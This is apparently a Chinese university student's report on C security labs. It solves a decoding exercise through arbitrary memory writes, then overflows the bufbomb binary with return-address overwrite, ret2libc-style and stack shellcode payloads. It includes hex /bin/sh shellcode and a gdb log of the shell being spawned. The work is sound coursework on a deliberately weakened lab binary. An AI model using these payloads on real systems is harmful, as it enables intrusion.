C 语言程序设计安全项目

李梓勤

四川大学网络空间安全学院

2023 年 1 月 1 日

Intros

此报告主要基于我发布在我博客上的三篇文章，Decoding Lab, bufbomb和Bomb Lab。
在解题过程中需要用到的所有文件都已被存储在我的 Github 仓库中。每个 Lab 的每个 Section 的编译选项都已注明。

Lab1

Key1 & Key2

根据 guide.html，我们首先只需要考虑 key1 和 key2；而我们应该要得到一串解密后的字符串，以 From: 开头。审计函数 extract_message1，经过黑盒 & 白盒测试，我们可以发现该函数会从 start+1 处开始，每 stride 个字符，drop 一个字符。定位 F，r，o，m。最后得出 start=9 & stride=3。start 为 dummy（在内存中）的第一个 byte, stride 为 dummy（在内存中）的第二个 byte。
然而 Linux 和 Windows 都是小端序，所以正确的解释是：start 是 dummy 的 Least Significant Byte，stride 则是次低位。
也就是 dummy 应该为 0x????0309。? 可以取任何值。
看到 process_keys12，该函数可以视为一个任意内存写：将 key1 赋值为 &key1 相对于指定修改内存的偏移，key2 为指定修改的值。一种可能的解法就是修改 dummy。我们可以用反汇编软件或 gdb 知道 &dummy 与 &key1 的偏移。

Lab1

Key3 & Key4

观察得知：

1. 与 `process_keys12` 一样，`process_keys34` 也是一个任意内存写。
2. 除非修改了 `data`、`start` 或者 `stride`，`extract_message1` 执行后一定会使得 `msg1` 不等于空。
3. `start` 和 `stride` 应该不变；不然 `extract_message2` 的返回值，`msg2` 就会被修改
4. `process_keys34` 会执行两次；`process_keys34` 的修改又是偏移性质，所以两次对内存的修改结果可能不一样。

Lab1

Key3 & Key4

在这里仅简述第一种做法。
一个 `int` 是 4 个 bytes，所以 key3 应该为 4，才能修改栈上的返回值。
$0\text{x}14\text{f}7 - 0\text{x}14\text{c}6 = 49$
因此 key4 就是 49。
所以第二阶段的 payload 为 `./lab1 -1 0x0309 4 49`。

Lab2

Solution1

这道题的最低利用条件应该是 No Canary+ No PIE。
审计题目源码后最容易发现的解法应该是跳过赋值语句，直接到 printf 语句。
如以上代码所述，在 0x80492d2 处执行完 getbuf，接下来是把返回值（即 eax）压进栈中，然后再把字符串（即 getbuf returned %x
n）地址压入栈中。因为我们可以通过 getxs 操作整个 getbuf 函数的栈，又因为 test 函数调用了 getbuf 函数————————也就是 test 在 getbuf 逻辑意义上的上面（或者物理意义的下面），我们也可以操纵整个 test 的栈。这样第一种利用 printf 语句的方法就很容易得出了：跳到 0x80492e0，然后控制栈顶使栈顶为 0xdeadbeef。

Lab2

Solution1

显然栈抬升了 0x18 个 Bytes（注意栈从高向低生长）。因此我们的 Payload 需要加上 0x18 个 Bytes 的填充。
程序为 32 位程序；那么 Payload 还需要加上 0x04 个 Bytes 来填充 edp。
最后我们需要将存储的 eip 指针覆盖为我们想要去的地址，也就是 0x80492e0，并且使得覆盖完后的栈顶[1]为 0xdeadbeef。（注意 Linux x64 是小端序机器）
这是一种 Payload：00000000 00000000 00000000 00000000 00000000 00000000 00000000 E0920408 EFBEADDE

[1]基本的C 语言函数调用栈知识可以看这篇文章。

Lab2

Solution2

另外一个非常容易想到的思路和 `ret2libc`[2]非常像。
我们完全可以不使用 `0x080492e7` 处的 `printf`————————我们可以自己构造一个出来!
字符串的地址是 `0x0804A019`，第二个参数应为 0xdeadbeef，所以根据 i386 架构下的 `ret2libc` 原理，我们可以写出以下 payload：
padding + ebp + (target address) + (return address) + arg1 + arg2 + arg3 ...

[2]在 CTF-Wiki 上简述了ret2libc的原理和利用方法。

Lab2

Solution2

与 solution1 中一样，padding 为 0x18Bytes，ebp 为 0x04Bytes。
目标函数为 `printf` 在 plt 表中的位置。return function 可以不填。arg1 为 `0x0804A019`，arg2 为 0xdeadbeef。
从上至下依次是 28Bytes 的 padding zeros，目标函数地址，返回地址，参数 1，参数 2。
payload: “00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 50900408 00000000 19A00408 EFBEADDE”

Lab3

Solution3

接下来我们来讨论在关闭 NX 保护和关闭 ASLR 保护的利用情况。[3]

我们可以回顾一下程序的各个 section 基本情况：

1. .code 段有读、执行权限，但是没有写权限
2. .data、heap、通常情况下的 stack 段，都是只有读写权限
3. .rodata 只有读权限

[3] How to turn off gcc compiler optimization to enable buffer overflow? - stackoverflow

Lab3

Solution3

一般来说，写权限和执行权限应该尽量分开。这种保护方法就叫 NX 保护————————或者 No eXecute 保护。
但是如果我们主动在 gcc 编译中关闭 NX 保护，那我们就可以得到一个 RWX 段，也就是同时有读、写、执行权限的段，栈。
这时我们可以考虑将 shellcode 写在栈上，然后劫持控制流到 shellcode 的开始处。这时 Payload 应具有下面的结构：
shellcode + padding + ebp + shellcode's start addr

Lab3

Solution3

第二个问题出现了。shellcode 写在栈上，虽然我们可以通过关闭 NX 保护将 shellcode 从不可执行变成可执行，但是我们并不知道 shellcode 的地址。每次我们运行程序的时候，内核都会随机加载程序的地址空间。
Problem solved!
当跳转到 0x80492d7 后，这一切就像无事发生，只不过返回值，也就是 eax 会被改成 0xdeadbeef。[4]
跳转到 0x80492e0 也就意味着跳过了 push 第二个参数。因此，我们可以直接通过栈操作到给第二个参数赋值。
当然，既然我们可以执行任意汇编代码了，那我们有很多种方法来使得输出达到我们想要的结果。

[4]我们可以使用PWNTools 中的 ASM 模块来将汇编代码编译成字节码。

Lab3

Solution4

既然我们可以执行任意汇编代码，那我们为什么不试着拿 Shell 权限呢？首先我们需要找到一个放置 Shellcode 的地方。
回到我们前面给到的这个结构：shellcode + padding + ebp + shellcode's start addr
`padding + ebp` 一共是 24Bytes，但是考虑到 Shellcode 执行阶段可能遇到的 `push` 指令，更好的选择其实是放在 `shellcode's start addr` 的后面。
这时我们的 payload 就变成了下面的结构：
padding + ebp + shellcode's start addr + shellcode

Lab2

Solution4

在网上找一个小一点的 Shellcode[5]，我们就得到了我们最终的 Payload：

00000000 00000000 00000000 00000000 00000000 00000000 EBP START_ADDR 31C9F7E1 B00B5168 2F2F7368 682F6269 6E89E3CD 80

[5]利用 int 0x80 执行了/bin/sh 的一段Shellcode

Lab2

Solution4

```
root@workshop:~/repos/SCUCCS/C-Programming/Security Labs/lab2# ./bufbomb-no-nx
Type Hex string:31c9f7e1 b00b5168 2f2f7368 682f6269 6e89e3cd 80000000 D8D3FFFF A0D3FFFF 31c9f7e1 b00b5168 2f2f7368 682f6269 6e89e3cd 80000000
Segmentation fault (core dumped)
root@workshop:~/repos/SCUCCS/C-Programming/Security Labs/lab2# gdb bufbomb-no-nx
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 164 pwndbg commands and 43 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
Reading symbols from bufbomb-no-nx...
------- tip of the day (disable with set show-tips off) -------
Use the telescope command to dereference a given address/pointer multiple times (if the dereferenced value is a valid ptr; see config telescope to configure its behavior)
pwndbg> r
Starting program: /root/repos/SCUCCS/C-Programming/Security Labs/lab2/bufbomb-no-nx
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
Type Hex string:31c9f7e1 b00b5168 2f2f7368 682f6269 6e89e3cd 80000000 D8D3FFFF A0D3FFFF 31c9f7e1 b00b5168 2f2f7368 682f6269 6e89e3cd 80000000
process 175407 is executing new program: /usr/bin/dash
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
# echo getbuf returned 0xdeadbeef
getbuf returned 0xdeadbeef
#
```

图: 彩蛋：拿到 shell 后直接输出 ‘getbuf returned 0xdeadbeef’

Thank you!